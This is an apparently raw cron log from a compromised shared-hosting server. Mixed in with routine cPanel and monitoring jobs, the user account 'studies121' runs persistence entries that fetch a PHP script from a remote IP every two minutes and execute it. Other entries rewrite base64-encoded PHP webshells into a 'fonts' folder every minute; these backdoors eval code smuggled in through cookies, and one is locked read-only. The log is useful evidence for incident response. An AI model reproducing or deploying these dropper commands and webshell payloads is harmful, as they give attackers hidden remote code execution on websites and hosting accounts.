Sep  8 01:46:01 ip-184-168-122-23 CROND[19664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:47:02 ip-184-168-122-23 CROND[19780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:47:02 ip-184-168-122-23 CROND[19782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:47:02 ip-184-168-122-23 CROND[19784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:47:02 ip-184-168-122-23 CROND[19788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:48:01 ip-184-168-122-23 CROND[19941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:48:01 ip-184-168-122-23 CROND[19940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:48:01 ip-184-168-122-23 CROND[19942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:48:01 ip-184-168-122-23 CROND[19943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:48:01 ip-184-168-122-23 CROND[19946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:49:02 ip-184-168-122-23 CROND[20030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:49:02 ip-184-168-122-23 CROND[20031]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 01:49:02 ip-184-168-122-23 CROND[20032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:49:02 ip-184-168-122-23 CROND[20034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:49:02 ip-184-168-122-23 CROND[20033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:50:01 ip-184-168-122-23 CROND[20142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:50:01 ip-184-168-122-23 CROND[20146]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:50:01 ip-184-168-122-23 CROND[20148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:51:01 ip-184-168-122-23 CROND[20252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:51:01 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:51:01 ip-184-168-122-23 CROND[20256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:51:01 ip-184-168-122-23 CROND[20257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:52:01 ip-184-168-122-23 CROND[20400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:52:01 ip-184-168-122-23 CROND[20402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:52:01 ip-184-168-122-23 CROND[20403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:52:01 ip-184-168-122-23 CROND[20404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:52:01 ip-184-168-122-23 CROND[20405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:53:01 ip-184-168-122-23 CROND[20569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:53:01 ip-184-168-122-23 CROND[20568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:53:01 ip-184-168-122-23 CROND[20567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:53:01 ip-184-168-122-23 CROND[20570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:54:01 ip-184-168-122-23 CROND[20649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:54:01 ip-184-168-122-23 CROND[20650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:54:01 ip-184-168-122-23 CROND[20651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:54:01 ip-184-168-122-23 CROND[20653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:54:01 ip-184-168-122-23 CROND[20654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:55:01 ip-184-168-122-23 CROND[20793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:55:01 ip-184-168-122-23 CROND[20794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:55:01 ip-184-168-122-23 CROND[20792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:55:01 ip-184-168-122-23 CROND[20791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:55:01 ip-184-168-122-23 CROND[20795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:55:01 ip-184-168-122-23 CROND[20796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:56:01 ip-184-168-122-23 CROND[20887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:56:01 ip-184-168-122-23 CROND[20888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:56:01 ip-184-168-122-23 CROND[20892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:56:01 ip-184-168-122-23 CROND[20891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:56:01 ip-184-168-122-23 CROND[20890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:57:01 ip-184-168-122-23 CROND[20973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:57:01 ip-184-168-122-23 CROND[20975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:57:01 ip-184-168-122-23 CROND[20976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:57:01 ip-184-168-122-23 CROND[20978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:58:01 ip-184-168-122-23 CROND[21111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:58:01 ip-184-168-122-23 CROND[21112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:58:01 ip-184-168-122-23 CROND[21113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:58:01 ip-184-168-122-23 CROND[21114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:58:01 ip-184-168-122-23 CROND[21115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:59:01 ip-184-168-122-23 CROND[21231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
